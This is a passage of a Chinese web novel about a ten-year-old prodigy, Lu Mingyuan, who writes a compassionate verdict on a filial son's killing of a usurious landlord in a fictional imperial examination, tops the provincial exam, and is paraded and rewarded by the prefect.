他的脑海中,浮现出四个问题,层层递进,如剥笋衣。 其一,赵阿大构成何罪?是“故杀”无疑,但此“故”,与前一案中那种主动寻衅的“故”截然不同。 其杀心,起于何时? 起于母亲被辱,生路被断的绝望一刻。 此乃激愤而为,非预谋之杀。 其二,应判何种刑罚? “杀人者死”,乃是常理。 但《大乾律》开篇明义,便有“德主刑辅”四字。 律法的终极目的,是维护天理人心,而非单纯的以杀止杀。 若不问缘由,一概论死,那律法便成了恶人手中的刀,只会让良善者更加绝望。 其三,此案中,仅仅是赵阿大有罪吗? 黄世仁的行为,难道就无法可依,无罪可论? 他以“驴打滚”之高利,巧取豪夺他人田产,此为“重利盘剥”,违背《户律》。 他强索租税,推倒老人,抢夺财物,此为“强抢”,触犯《刑律》。 他才是这一切悲剧的始作俑者! 其四,是否有可酌情减刑之情由? 当然有!赵阿大之行,起于孝道,为护母而杀人,虽触犯国法,却合乎人伦纲常。 其情可悯,其心可原。 若一味严惩,岂非告诉天下百姓,当孝道与恶霸冲突之时,只能束手待毙? 这会寒了天下多少孝子的心! 一个个问题在脑海中闪过,答案也随之清晰。 陆明渊再次睁开眼时,那双清澈的眸子里,已经没有了丝毫的犹豫,取而代之的是一种洞悉世情的通透与悲悯。 他知道,这道题,考的不是律法条文的背诵,而是人心。 考的是一个未来的官员,在面对冰冷的律法与滚烫的人情时,如何取舍,如何平衡。 他提起笔,这一次,笔尖蘸满了浓墨,下笔沉凝,力透纸背。 他没有先写判词,而是先在判词之前,写下了一段话,作为整个判决的法理总纲。 “夫国之律法,上承天理,下顺人情。天理者,好生之德也;人情者,孝悌之本也。” “断狱之道,在明辨是非,更在体察隐情。” 短短数言,掷地有声,已然将自己的立场鲜明地摆了出来。 这不仅仅是在断一个案子,更是在阐述自己的为政之道! 写下这段总纲,他才开始正式落笔,对案件进行抽丝剥茧的分析。 他首先明确了赵阿大的罪名。 “赵阿大持刀杀人,致黄世仁身死,人证物证俱在,构成故杀,于法不容。” 这是基础,是承认国法的威严,不容动摇。 紧接着,笔锋一转,如峰回路转,柳暗花明。 “然,详查此案本末,事出有因。黄世仁放重利以夺人祖产,已触犯《户律》。” “旱灾之年,不思体恤,反逼租夺物,是为不仁;率众凌弱,推搡老母,是为不义。” “其行径,名为乡绅,实为乡蠹!” “赵阿大之杀心,非生于无端,乃发于被逼无奈,为护母,为求生,其情可悯,其行可恕。” 他将黄世仁的恶行一一列举,并明确指出其触犯的律法条文。 “综上,赵阿大故杀黄世仁,依律当斩。” “然察其本为孝子,事由恶霸逼凌,情堪矜悯。” “黄世仁夺产欺民,亦干法纪。本官以为,此案不可一概而论。” “拟奏请上官,援引‘留养承祀’之例,减等论处,判杖一百,流三千里。” “然其母年老无人奉养,嗷嗷待哺,若径直流配,其母必亡。” “圣人以孝治天下,律法亦当体现仁孝之精神。” “可否准其戴枷服役于本地,待母终老后再行发配?” “黄世仁巧取豪夺之三亩祖田,应查证原抵押契约,若确系高利盘剥,应判归还赵家。” “其借贷十两白银,按大乾律法,赵阿大偿还十两白银,年利三厘,共计偿还十一两一文五钱!” 判决写到这里,尚未结束。 陆明渊深吸一口气,又在末尾添上了对黄家家丁的判罚。 “黄家家丁,助纣为虐,虽未直接杀人,然亦为帮凶,当以《刑律·斗讼篇》中‘帮凶伤人’之罪论处,各杖八十,以儆效尤!” 当最后一笔落下,陆明渊只觉得胸中一股郁气,随着这酣畅淋漓的判词,一扫而空。 他没有去想这份判词会引起怎样的轩然大波,也没有去考虑主考官看到这份“离经叛道”的答案会是何种表情。 他只知道,这是他心中的法,是他所理解的“仁政”与“王道”。 法,不外乎人情! 他轻轻吹干墨迹,将试卷仔细检查了一遍,确认再无疏漏。 每一个字都工整清晰,每一段论述都逻辑严密,整张试卷,宛如一件精雕细琢的艺术品。 “铛——铛——铛——” 悠扬的钟声再次响起,宣告着这场为期两日的鏖战,终于落下了帷幕。 号舍的门被打开,压抑了两天的考生们如同潮水般涌出,每个人的脸上都带着一种劫后余生的疲惫。 有人面色惨白,脚步虚浮;有人双目赤红,神情恍惚;也有人三五成群,高声议论着考题的难易。 “最后那道断案题,你们是怎么判的?” “还能怎么判?杀人偿命,天经地义!我直接判了赵阿大斩立决!” “我也是,这种刁民,不杀不足以平民愤!” “可我总觉得……那黄世仁也忒不是东西了,把人往死里逼啊。” “唉,谁说不是呢?可国考当前,谁敢拿自己的前程去赌?还是判个斩刑最稳妥。” 议论声中,陆明渊提着自己的考篮,平静地走了出来。 他已经交出了自己的答卷。 接下来,便看这大乾王朝,是否能容得下他这份“法理之外”的人情了。 第115章 若违背本心,这书,不读也罢! 贡院外的阳光有些刺眼,空气中弥漫着墨香。 几名学子瘫软在自家仆人的怀里,放声大哭。 更多的人则是面带疲色,匆匆汇入人流,赶回客栈。 他们不敢有丝毫松懈,因为所有人都清楚,前两场考的只是“术”,是基础。 第三场,考的才是真正的“道”,是治国安邦之策。 那才是决定一个读书人未来能走多远,能站多高的关键。 …… 一日休整,足以让紧绷的神经得到舒缓。 第三日清晨,天光微熹。 陆明渊与林家府学的几位同窗,在林博文的陪同下,再次来到了贡院之前。 流程依旧,搜检、入号、落座、发卷。 当试卷发到手中,陆明渊的目光落在题目上时,嘴角不由露出了一丝了然的微笑。 “论南北经济失衡之策。” 这题目,正中下怀。 大乾立国百年,承平日久,南北之间的经济差距却日益扩大。 南方鱼米之乡,商贸繁荣,富甲天下! 北方边防重镇,民风彪悍,却土地贫瘠,常年依赖南方财税输血。 长此以往,国之隐患,莫过于此。 这道题,看似宏大,实则切中了王朝最敏感的神经。 寻常考生,多半会从“重农抑商”、“加强漕运”、“整顿吏治”等老生常谈的角度入手。 言语虽慷慨激昂,却难免空泛,缺乏可行性。 陆明渊却不然。 他提笔,蘸墨。 他并未急于提出对策,而是先从历史入手,分析了造成南北失衡的三个根本原因。 其一,地理天时之别;其二,前朝战乱导致的人口南迁;其三,本朝“重南轻北”的财税国策。 每一条都引经据典,数据详实,仿佛他不是一个十岁的少年,而是一位在户部浸淫了数十年的老吏。 而后,他才提出了自己的核心观点——“以商通北,以工固边”。 他大胆地提出,朝廷不应再一味地“抑商”,而是要“导商”。 开放北地边贸,以关税代替严禁,吸引南方商贾将丝绸、茶叶、瓷器等货物销往草原诸部,换取战马、牛羊、皮货。 如此,既能充盈国库,又能让北方边民从贸易中获利,变输血为造血。 同时,他建议在北方几大军镇设立官办工坊,如冶铁、制甲、织呢等,就地取材,就地生产。 既能满足军需,又能为当地百姓提供生计,让他们从单纯的农户,转变为农工结合的复合型生产者。 这篇策论,他写得酣畅淋漓,洋洋洒洒数千言,一气呵成。 其见识之深远,逻辑之严密,措施之具体,远超同侪。 写完之后,他甚至还有闲暇构思。 若此策推行,北方边镇的税务、官员考核、军户管理等一系列配套制度该如何改革。 时间,在笔尖的沙沙声中缓缓流逝。 当他搁下笔时,距离考试结束尚有一个多时辰。 一个时辰后,悠扬的钟声终于敲响。 “铛——铛——铛——” 三场九天的煎熬,至此终结。 贡院的大门轰然打开,压抑到极致的学子们如同决堤的洪水,瞬间爆发出惊天动地的欢呼声。 有人将手中的笔墨纸砚抛向天空,有人与同窗相拥而泣,有人仰天长啸,状若疯癫。 官兵们早已见怪不怪,只是列队站在两侧,维持着最基本的秩序,任由这些学子宣泄。 在这片狂欢的海洋中,陆明渊与林博文等人显得格外平静。 他们也感到了轻松,但更多的是一种完成了一件大事后的从容。 “明渊兄,感觉如何?” 林博文走上前来,他的脸上也带着一丝轻松的笑意,看向陆明渊的眼神里,已满是敬佩。 “尽人事,听天命罢了。” 陆明渊淡然一笑。 “明渊兄此言差矣,以你的才学,这院试案首,不过是探囊取物。” 林博文由衷地说道。 他虽是天才,却也知道天才与妖孽之间的差距。 …… 与此同时,贡院深处的一间戒备森严的静室之内,气氛却截然不同。 十几位从各省抽调而来的学政、大儒正襟危坐,面前堆积着小山般的试卷。 他们是这次院试的阅卷官,每一个人的笔,都将决定数百名考生的命运。 主位上坐着的,是本次院试的主考官,浙江学政徐渭之。 他年过花甲,须发皆白,一双眼睛却依旧清亮,透着洞悉世事的智慧。 阅卷工作有条不紊地进行着。 “嗯,此篇策论观点中正平和,四平八稳,可为中上。” “这一份,字迹潦草,论点不清,划为下等。” “咦?这篇断案判得有意思,引律精准,论证有力,是个好苗子。” 阅卷官们低声交流着,将一份份试卷分门别类。 忽然,一位负责批阅刑律部分的阅卷官发出了一声轻咦,他手中的卷子,正是陆明渊的。 “徐大人,诸位同僚,你们来看这份卷子。” 众人闻声望去,只见那阅卷官神情古怪,似是赞叹,又似是为难。 徐渭之走了过去,接过试卷。 首先映入眼帘的,是一手遒劲有力、又不失清雅的馆阁体,字字如珠,赏心悦目。 “好字!” 徐渭之忍不住赞了一声。单凭这手字,便足以让他在众多考生中脱颖而出。 他继续往下看。 第一案,“斗杀”,判得无懈可击,法理清晰,逻辑缜密,堪为范本。 第二案,“私盐”,剖析得层层递进,量刑建议有理有据,尽显老吏之风。 看到这里,徐渭之满意地点了点头,心中已经将这份卷子定为“上上”之选。 然而,当他的目光落在第三案时,他那阅尽天下文章的平静眼眸,骤然一缩。 他看到了那段作为总纲的文字。 “夫国之律法,上承天理,下顺人情。天理者,好生之德也;人情者,孝悌之本也。” “断狱之道,在明辨是非,更在体察隐情。” 短短数言,如黄钟大吕,重重地敲击在徐渭之的心头! 他为官三十余载,审案无数,何尝不明白这个道理? 但,敢在决定自己命运的科场之上,如此旗帜鲜明地将“人情”置于“天理”之后,与冰冷的“国法”并论的,他还是第一次见! 这是何等的胆魄!又是何等的自信! 他屏住呼吸,一字一句地往下读。 当他看到陆明渊将黄世仁定性为“乡蠹”,并指出其触犯《户律》与《刑律》时,他的手指微微颤抖。 当他看到陆明渊援引“留养承祀”之例,建议减等论处,并请求“戴枷服役于本地,待母终老”时,他的眼中闪过一丝激赏。 这不单单是在判案,这是在用律法,去缝合一个被撕裂的家庭,去维护人世间最根本的孝道! 最后,看到对黄家家丁的判罚,徐渭之长长地吐出了一口气,胸中一股郁气,竟也随之消散。 “好!好一个‘法不外乎人情’!” 他忍不住击节赞叹。 “徐大人,” 旁边一位阅卷官皱眉道。 “此子虽有悲悯之心,但这判决……未免太过离经叛道。” “杀人者死,国之大典。他竟敢请求减等流放,甚至还提出什么‘戴枷服役’,这……这简直是视国法为儿戏!” 这位阅卷官姓李,是出了名的铁面御史,最是讲究法度森严,不容变通。 另一位官员也附和道。 “李大人所言极是。此风断不可长!若人人都以‘其情可悯’为由,请求减刑,那国法威严何在?” “长此以往,刁民效仿,岂不天下大乱?” 一时间,静室内分成了两派,争论不休。 一派认为,陆明渊的判词充满了仁孝精神,体现了“德主刑辅”的立法本意,是难得一见的佳作。 另一派则认为,此判决逾越了律法底线,是哗众取宠,标新立异,若不严惩,恐会带坏科场风气。 徐渭之没有说话,只是将那份试卷又仔細看了一遍,目光在那“乡蠹”二字上停留了许久。 他缓缓开口,声音不大,却让整个静室都安静了下来。 “诸位,你们只看到了他为赵阿大减刑,却没有看到他将黄世仁定罪了吗?” “他判赵阿大杖一百,流三千里,这是国法。他判黄世仁为‘乡蠹’,其田产归还,其高利贷作废,这,是天理!” “他看似在为杀人者开脱,实则是在追本溯源,惩治那真正的罪恶之源!” “他不是在挑战国法,他是在完善国法,是在告诉我们,律法,不应只盯着结果,更应审视起因!” “至于‘戴枷服役,待母终老’,看似荒唐,却恰恰体现了圣人以孝治天下的精髓。” “若为全孝道而杀人者必死,岂不是逼着天下孝子在人伦与国法之间,只能选择坐视亲人受辱?” 徐渭之的声音掷地有声。 “老夫以为,此卷,非但无过,反而有大功!” “此子,不仅有断案之才,更有体恤民情、洞悉世事之大智慧!” “若此等人才不能脱颖而出,那将是我大乾的损失!” 一番话说得众人哑口无言。 那李御史张了张嘴,还想反驳,却发现自己竟找不到任何合适的言辞。 最终,徐渭之拿起朱笔,在这份试卷的天头,重重地写下了一个字。 “魁!” …… 放榜前的三日,是杭州府最热闹的三日。 落榜的学子借酒消愁,自认考得不错的则呼朋引伴,遍游西湖名胜,尽情享受这难得的闲暇。 陆明渊与林博文、洪彦昌几人,也租了一条画舫,泛舟于西湖之上。 湖上烟波浩渺,远处青山如黛,岸边杨柳依依,风景美不胜收。 林博文亲自为陆明渊斟上一杯上好的龙井,感叹道。 “过去我总以为,读书便是将圣贤文章背熟,将律法条文记牢。直到见了明渊兄的策论,方知何为‘经世致用’。” “与兄相比,我不过是个会背书的书呆子罢了。” 他的话语中,再无半分初见时的傲气,只剩下心悦诚服的钦佩。 陆明渊端起茶杯,轻抿一口,笑道。 “博文兄过谦了。读书之道,本就是见自己,见天地,见众生。我们都还在这条路上。” 几人谈笑风生,从诗词歌赋聊到时事民生,皆是兴致盎然。 唯有洪彦昌,不时地看向陆明渊,眼中带着几分担忧。 他终是忍不住问道:“明渊,你那第三案……当真那般判了?就不怕主考官认为你……过于偏激?” 陆明渊放下茶杯,看着湖面上的粼粼波光,平静地说道。 “我只是写下了我心中所想。若为求稳妥而违背本心,那这书,不读也罢。” 他的声音很轻,却透着一股不容置疑的坚定。 林博文与洪彦昌对视一眼,皆从对方眼中看到了震撼。 第116章 三试夺魁,名动杭州! 三日时光,倏忽而散。 放榜之日,天色尚早,整个杭州府却已然苏醒。 无数双眼睛,都望向了同一个方向——贡院。 当陆明渊与林家府学众人抵达时,贡院门口早已是人山人海。 贡院门口,一排排身着甲胄的官兵面无表情地肃立,将人群与那象征着天子恩典的红榜隔离开来。 人间百态,悲欢离合,尽数浓缩于这张薄薄的红纸之前。 “来了!来了!挂榜了!” 不知是谁声嘶力竭地喊了一嗓子,人群瞬间骚动起来。 只见几名吏员在官兵的护卫下,抬着一张巨大的红色金榜,悬挂在高墙之上。 “开——榜——!” 随着一声悠长的唱喏,维持秩序的官兵们稍稍后退。 人群如同积蓄已久的洪流,轰然一声,向前涌去。 尽管读书人自诩斯文,但在这一刻,没有人能保持矜持。 他们伸长了脖子,踮起了脚尖,拼命地向前挤去。 林家府学的三十多名学子,也被这股人潮裹挟着,挤到了榜单近前。 “快找!快找自己的名字!” 林天元高声喊着。 榜单是从后往前排列的,密密麻麻的名字,看得人眼花缭乱。 “中了!我中了!二十一名!哈哈哈哈,我中了!” 人群中,一个学子在看到自己名字的瞬间,先是愣了片刻,随即爆发出状若疯癫的狂喜,他一把抱住身旁的陌生人,又哭又笑。 紧接着,这样的欢呼声此起彼伏。 “爹!娘!儿子考上了!儿子是秀才了!” 一个年轻人跪倒在地,朝着家的方向,重重地磕了三个响头,泪流满面。 更有那富家子弟,一旦中榜,早已等候在旁的仆人便立刻点燃了准备好的鞭炮。 噼里啪啦的响声中,那中榜的少爷抓出大把的铜钱和碎银子,向着天空奋力一撒,高喊道。 “同喜!同喜!今日我请全场的兄弟喝酒!” 银钱如雨点般落下,引得周围的百姓一阵哄抢,道贺声、欢笑声混杂在一起,将这放榜的气氛推向了一个又一个高潮。 然而,几家欢喜,便有几家愁。 更多的,是那些从头看到尾,又从尾看到头,来来回回看了数遍,却始终找不到自己名字的落榜者。 他们的脸色,从最初的期待,到紧张,到失望,最终化为一片死灰。 有人呆立当场,有人掩面而泣,更有人承受不住这巨大的打击,双眼一翻,直挺挺地昏死过去,引起一阵混乱。 林家府学的阵营中,气氛也同样凝重。 “找到了!我中了!第三十七名!是第三十七名!” 一个学子颤抖着声音喊道,他的声音里带着一丝不敢置信的狂喜。 然而,他的欢呼并没有引起太多共鸣。 周围的同窗大多低着头,神色黯然。有人轻轻拍了拍他的肩膀,道了声“恭喜”,声音却有气无力。 一炷香的时间过去了,结果已经尘埃落定。 林家府学,三十余人参考,最终中榜者,仅有三人。 除了那位第三十七名的,另外两人都在榜尾,堪堪上榜。 这个结果,不可谓不惨淡。 落榜的学子们聚集在一起,垂头丧气,一言不发。 整个杭州府最好的府学,却交出了这样一份答卷,让他们无颜面对师长。 林天元看着这番景象,心中也是一叹,但他还是强打起精神,安慰众人道。 “诸位不必气馁,科场之路,本就多艰。一次失利,算不得什么。” “只要我等今日不坠青云之志,来年再战,未必没有金榜题名之时!” 他的话语虽然恳切,但对于这些失魂落魄的学子而言,收效甚微。 人群中,忽然有人开口,声音里带着一丝疑惑、 “咦?怎么……怎么没看到陆明渊的名字?” 此言一出,众人皆是一愣。 是啊,他们从榜尾一路看到现在,偏偏没有看到那个最应该出现的名字。 “不可能!以明渊兄的才学,怎么可能落榜?” “对啊,榜上没有,难不成……” 一个念头,如同闪电般划过所有人的脑海。 榜单上没有,只有一个可能——他的名次,高到不在这张主榜之上! 院试放榜,前五名的名字,是要由官员当众唱喏,以示荣耀的! 一瞬间,所有人的目光,无论是中榜的还是落榜的,都齐刷刷地汇聚到了陆明渊的身上。 林天元的心也“砰砰”地剧烈跳动起来,他快步走到陆明渊身边,压低了声音,难掩激动地问道。 “明渊,你……你是不是……” 陆明渊只是淡淡一笑,目光越过攒动的人头,望向了贡院门口。 就在此时,贡院之中,一阵沉闷的鼓声响起。 “咚!咚!咚!” 喧闹的人群瞬间安静了下来,所有人都屏住了呼吸,将目光投向了贡院门口。 只见几位身穿官袍的官员,在主考官徐渭之的带领下,缓步走了出来。 一名赞礼官手持铜锣,用力一敲,发出“哐”的一声巨响,随即高声喝道: “肃静!院试放榜,唱名开始!” 现场落针可闻。 赞礼官清了清嗓子,展开手中的名录,用一种抑扬顿挫的语调,高声唱道。 “戊辰科,杭州府院试,第五名——杭州府,陈牧!” 声音远远传开。 话音刚落,不远处的人群中立刻爆发出山呼海啸般的欢呼声。 “中了!我家小少爷中了第五名!” 陈家的下人们喜出望外,立刻将早就准备好的一串串红包,分发给周围的百姓,高声道。 “我家少爷高中,与诸位乡邻同喜!” 一片热闹的道贺声中,赞礼官面不改色,待喧哗稍歇,再次敲响铜锣。 “第四名——杭州府,刘文远!” 又是一阵更为热烈的欢呼与庆祝。 陈家和刘家,都是杭州府有名的书香门第,两家子弟同时进入前五,可谓是天大的荣耀。 很快,赞礼官的声音第三次响起。 “第三名,探花——杭州府,赵辰!” 这个名字一出,人群中一个身穿锦衣的少年脸色瞬间阴沉得能滴出水来。 正是赵辰。 他自幼便有神童之名,五岁能诗,七岁属文,在杭州府的年轻一辈中,向来是众星捧月的存在。 此次院试,所有人都认为他与林博文是案首的最有力竞争者,他自己也对此深信不疑。 可结果,竟然只是第三名! 探花,对于旁人而言是无上的荣耀,但对于他赵辰来说,却是难以接受的失败! 他的目光,如同淬了毒的利剑,死死地射向了林博文的方向。 在他看来,能压过自己的,只有这个知府的亲传弟子。 输给林博文,这个念头让赵辰心中的妒火与不甘熊熊燃烧! 然而,高台之上的官员并没有理会一个考生的心情。 赞礼官润了润喉咙,声音拔高了八度,充满了郑重其事之感。 “院试第二名,亚元——杭州府,林博文!” “轰——!” 这个结果,如同一道惊雷,在所有人的头顶炸响! 全场哗然! “什么?林博文竟然只是第二名?” “这怎么可能!他可是周府台的亲传弟子,公认的杭州第一才子啊!” “连他都只是亚元,那……那案首会是谁?” “难不成……是那个陆明渊?” “不可能!绝对不可能!他才十岁,求学不过一年,县试府试夺魁已是侥幸,这院试人才济济,他怎么可能再夺案首?” 质疑声、惊叹声、议论声,如同潮水般四起。 一个求学一年的十岁孩童,压过了知府悉心教导数年的天才弟子,这简直是天方夜谭! 然而,就在这片喧嚣的中心,被众人议论的主角之一,林博文,却做出了一个让所有人瞠目结舌的举动。 他没有丝毫的失落与不甘,反而脸上露出了一抹释然的笑意。 他转过身,对着身后神情淡然的陆明渊,郑重其事地深深一揖,朗声道: “恭喜明渊兄,贺喜明渊兄!三试夺魁,名动杭州!” 他的声音清朗,充满了由衷的敬佩,清晰地传入了周围每一个人的耳中。 “明渊兄以十岁之龄,连中县、府、院三试案首,乃是我杭州府六十七年来,继张阁老之后,第二位三中魁首之人!博文,心服口服!” 这一番话,掷地有声! 整个榜下,瞬间陷入了一片死寂。 第117章 白银五千两,以资你上京赶考! 高台之上,那名赞礼官深吸了一口气。 他再次敲响铜锣,高声喝道。 “戊辰科,杭州府院试,案首——” “江陵县,陆明渊!” 人群中短暂寂静后,立刻爆发出一阵阵欢呼声! “陆明渊!真的是陆明渊!” “天哪!我杭州府,要出一位少年阁老了吗?” “三元魁首!我竟然亲眼见证了一位三元魁首的诞生!” 就在这片狂热的氛围中,贡院那厚重的朱漆大门缓缓打开。 在主考官徐渭之的示意下,几名吏员牵出了一匹神骏非凡的五花马。 那马儿头戴红绸,身披锦缎,鞍鞯华美,一看便知是为极尊贵之人准备的。 紧接着,一名官员手捧着托盘,上面放着一朵用上好绸缎扎成的大红花,以及一件用金线绣着“魁星点斗”的千金裘。 “为案首披红挂彩!” 随着赞礼官一声高喝,几名官员在官兵的护卫下,穿过人群,径直走到了陆明渊面前。 这突如其来的阵仗,让陆明渊也微微一怔。 他下意识地看向身旁的林天元,眼中带着一丝询问。 林天元此刻激动得满脸通红,他用力地点了点头,压低声音。 “明渊,这是我杭州府的规矩。凡院试夺魁者,皆可骑马游街,夸官杭州道!” “这是天大的荣耀,也是府台大人对所有读书人的激励,让他们有个奔头儿!快去吧!” 陆明渊了然。 他对着几位官员微微躬身,任由他们将那沉甸甸的千金裘披在自己肩上,又将那朵硕大的红花端端正正地戴在了胸前。 十岁的少年,身着华服,胸佩红花,看起来竟真有几分像是去迎亲的新郎官,只是那双清澈的眸子里,却闪烁着与年龄不符的沉静与深邃。 “案首,请上马!” 陆明渊也不推辞,在一个小吏的搀扶下,动作利落地翻身上马。 他身形虽小,但稳稳地坐在高大的马背上,腰杆挺得笔直,自有一股渊渟岳峙的气度。 “开道——!” 随着一声令下,早已准备好的仪仗队立刻行动起来。 前方,八匹同样神骏的高头大马开路,马上骑士皆身着崭新的官服。 在他身后,同样是八匹高头大马跟随。 几十名身披甲胄的官兵分列两侧,手持长戟,将围观的人群隔开。 他们护卫着游街队伍,浩浩荡荡地向杭州府最繁华的街道行去。 “三元魁首,陆明渊,夸官游街——!” 赞礼官的唱喏声,响彻长街。 意气风发,莫过于此! 凡仪仗所经之地,街道两侧的商铺、茶楼、民居,无论男女老少,尽皆探出头来,争相一睹这位少年魁首的风采。 那目光中,有震惊,有好奇,但更多的,是发自内心的羡慕与敬佩。 “快看!那就是连中三元的陆案首!看起来还是个孩子啊!” “啧啧,十岁的案首,这可是文曲星下凡啊!能亲眼看上一眼,回去都能跟孙子吹一辈子!” 无数的欢呼声与庆祝声,如同潮水般将陆明渊包裹。 一些富户商家,更是主动点燃了鞭炮,噼里啪啦的响声不绝于耳,将气氛烘托到了极致。 人群中,一个五六岁的小童被这热闹的景象所吸引,他扯着父亲的衣角,奶声奶气地问道。 “爹爹,那个大哥哥是在做什么呀?为什么这么多人都在看他?” 他的父亲,一个面容憨厚的布衣汉子,将儿子高高地举过头顶,让他能看得更清楚一些。 汉子的眼中闪烁着从未有过的光芒。 “儿子,你记住了!那个大哥哥,是咱们杭州府读书最厉害的人!” “中了院试的魁首,才能有这样的风光!这是光宗耀祖的大好事!” 小孩子似懂非懂地点了点头。 他看着马背上那个与自己年龄相差仿佛不大的身影,攥紧了小拳头,大声喊道。 “爹!我以后也要当魁首!我也要骑大马!” 父亲闻言,先是一愣,随即开怀大笑,眼角却有些湿润。 陆明渊端坐在马背上,将这一切尽收眼底。 他感受着那一道道羡慕、崇敬、狂热的目光,第一次明白为何这世间千千万万的读书人,会对科举二字,有着那般近乎于执念的追求。 十年寒窗无人问,一举成名天下知。 这不仅仅是一句诗,更是无数人穷尽一生去追逐的梦想。 今日这般风光,这份荣耀,足以让任何一个男人热血沸腾,愿意为此付出一切! 游街庆典,足足持续了一个时辰。 从贡院出发,绕行杭州府最主要的几条街道,直到半个杭州府的人,都知晓了陆明渊这个名字。 他们都见识了这位十岁三元魁首的风采,这场盛大的夸官仪式才缓缓落下帷幕。 仪仗队将陆明渊一路送至杭州府衙门前,方才散去。 府衙之内,早已不复往日的森严肃穆,处处张灯结彩,洋溢着喜庆的气氛。 一名衙役早已在门口等候,见到陆明渊,立刻恭敬地躬身行礼。 “陆案首,府台大人已在书房等候多时,请随小的来。” 在衙役的引领下,陆明渊穿过几重院落,来到了一处清幽雅致的书房前。 他抬眼望去,只见林博文与赵辰早已等候在门外。 林博文见到他,脸上立刻露出了真诚的笑容,上前一步拱手道:“明渊兄,恭喜了。” 陆明渊亦是还了一礼:“博文兄客气,同喜。” 而一旁的赵辰,脸色依旧难看,只是从鼻子里哼了一声,算是打过招呼,便将头扭到了一边。 陆明渊也不在意,三人静立片刻,书房的门从内打开,一名长随走了出来,躬身道。 “府台大人有请三位公子入内。” 三人整理了一下衣冠,鱼贯而入。 书房内,陈设古朴,四壁皆是书架,空气中弥漫着淡淡的墨香与檀香。 杭州知府周泰,正坐于一张紫檀木大案之后,手持一卷书,看得出神。 见到三人进来,他才缓缓放下书卷,抬起头来。 他先是在林博文和赵辰脸上一扫而过,最后,目光落在了陆明渊身上,停留了许久。 “都坐吧。” 周泰的声音温和而沉稳。 三人依言落座,正襟危坐,不敢有丝毫懈怠。 周泰的目光再次从三人脸上划过,缓缓开口道。 “今日将你们三人叫来,想必你们心中也清楚为何。院试前三甲,按照惯例,都要由本官亲自接见。” 他顿了顿,语气变得郑重起来:“但是,从今天起,你们要记住,你们的身份已经不再仅仅是一名秀才。” “你们是戊辰科杭州府院试的前三甲,是整个杭州府数十万学子中的翘楚。” “从你们走出这个衙门开始,你们的身上,就刻上了‘杭州府’这三个字的烙印。” “将来,你们要去京城参加会试,继而殿试。” “无论你们走到哪里,无论你们取得何等成就,别人提起你们,都会说,这是从我们杭州府走出去的士子。” “你们的一言一行,都代表着杭州府的颜面。” 周泰的话语不疾不徐,却字字敲在三人的心上。这已经不是简单的嘉奖,而是一种责任的赋予。 “本官希望,你们日后无论是在科场,还是在官场,都能够记住今日之言,记住你们皆出身杭州。” “同乡之谊,当守望相助,互为援引。” “一根筷子易折,一把筷子难断,这个道理,你们要懂。” 这番话,已经带上了几分官场教诲的意味。 林博文和赵辰皆是官宦子弟,自然明白其中深意,皆是神色一凛,躬身应道。 “学生谨遵府台大人教诲。” 陆明渊同样起身行礼,他知道,周泰这是在提前布局,为杭州府的士子在朝堂上编织一张未来的关系网。 周泰满意地点了点头,脸上的神情缓和了些许,露出一丝笑意。 “当然,今日叫你们来,除了说这些,主要还有两件事。” “其一,是给你们的赏赐。”他拍了拍手,门外的长随立刻端着三个托盘走了进来,托盘上盖着红布。 “博文,赵辰,你们二人,各赏白银三千两,上等湖笔、徽墨、宣纸、端砚一套。” 长随将其中两个托盘分别放到了林博文和赵辰面前。 “谢府台大人赏赐!” 二人连忙起身谢恩。 最后,周泰的目光落在了陆明渊身上,眼神中带着一丝掩饰不住的欣赏与期许。 “陆明渊。” “学生在。” “你以十岁之龄,连中三元,创我杭州府六十七年未有之伟业,其功甚伟,其才惊世。” “寻常的赏赐,已不足以彰显你的荣耀。” 周泰站起身,亲自从长随手中接过最后一个托盘,走到陆明渊面前,亲手揭开了上面的红布。 只见托盘之上,静静地躺着一方通体碧绿的玉佩,玉佩上雕刻着精美的“连中三元”字样,在灯光下流淌着温润的光泽。 除此之外,还有一叠厚厚的银票。 “此玉佩,乃是本官私人所赠,望你日后能不忘初心,前程似锦。” “另,杭州府衙,特赏你白银五千两,以资你上京赶考之用。” 周泰将托盘交到陆明渊手中,话锋一转,声音再次变得严肃。 “便是安排你们接下来的会试事宜。秋闱在即,时间紧迫。” “从明日起,你们可入府学藏书阁,任意阅览其中典籍。” “本官也会亲自为你们讲解历年会试的要点与关节。” “你们要做的,就是静下心来,好生准备。” “本官希望,明年的金殿之上,能同时看到你们三人的名字!” “杭州府的未来,就看你们的了!” 说完后,周泰看向陆明渊,沉声道! “瀚文兄会亲自教导你,我便不再献丑!” “我会安排亲随三百,送你去江苏省衙门!” “你回去和父母商议一二,何时出发,来府衙见我便是!” 第118章 三元魁首,陆明渊,夸官游街! “我会安排亲随,送你去江苏省衙门!” 此言一出,不仅是陆明渊,就连一旁的林博文和赵辰都齐齐变了脸色。 亲随护送! 这已经不是寻常的看重,而是近乎于国士的待遇了! 寻常官员调任,也未必有这般阵仗。 林博文眼中闪过一丝复杂之色,有羡慕,有惊叹,但最终都化为了一声由衷的叹服。 他对着陆明渊,郑重地拱了拱手,这一礼,是敬其才,也是敬其遇。 而赵辰的脸色,则瞬间变得煞白。 他死死地攥着拳头,指甲深陷入掌心。 陆明渊心中也是波澜起伏,但他面上依旧保持着那份与年龄不符的沉静。 他深吸一口气,对着周泰深深一揖。 “学生,谢过府台大人厚爱。” 没有过多的言语,但这一拜,已包含了千言万语。 周泰满意地看着他,点了点头。 “去吧,莫要辜负了瀚文兄,也莫要辜负了本官,更莫要辜负了你自己这一身惊世的才华。” “学生,谨记。” 说罢,陆明渊捧着托盘,与林博文、赵辰二人一同退出了书房。 门外,阳光正好,洒在少年华美的千金裘上,反射出点点金光,刺得人有些睁不开眼。 周泰将林博文与赵辰留了下来,又细细嘱咐了些关于府学修习的事宜。 而陆明渊则在衙役的恭送下,缓缓走出了杭州府衙。 衙门外,喧嚣的人声再次扑面而来。 回到福来客栈,林天元早已等候在雅间之内。 见陆明渊平安归来,并且肩上还披着那件象征着无上荣耀的“魁星点斗”千金裘,激动的一个箭步就冲了上来。 “明渊!府台大人他……” 陆明渊将手中的托盘轻轻放下,那方碧绿的玉佩与厚厚的银票在桌上发出清脆的声响。 他将府衙内发生的一切,言简意赅地对林天元复述了一遍。 当听到“亲随护送”时,饶是林天元见多识广,也忍不住倒吸了一口凉气,随即便是狂喜。 “好!好!好!” 他连说三个好字,激动地在房间里来回踱步。 激动过后,林天元也说起了正事。 “明渊,我们林家的商队明日一早便要启程返回江陵。” “接下来,府学也要沉寂一段时间,为下半年的府试做准备。” “你此去江苏,路途遥远,可有什么需要我做的?” 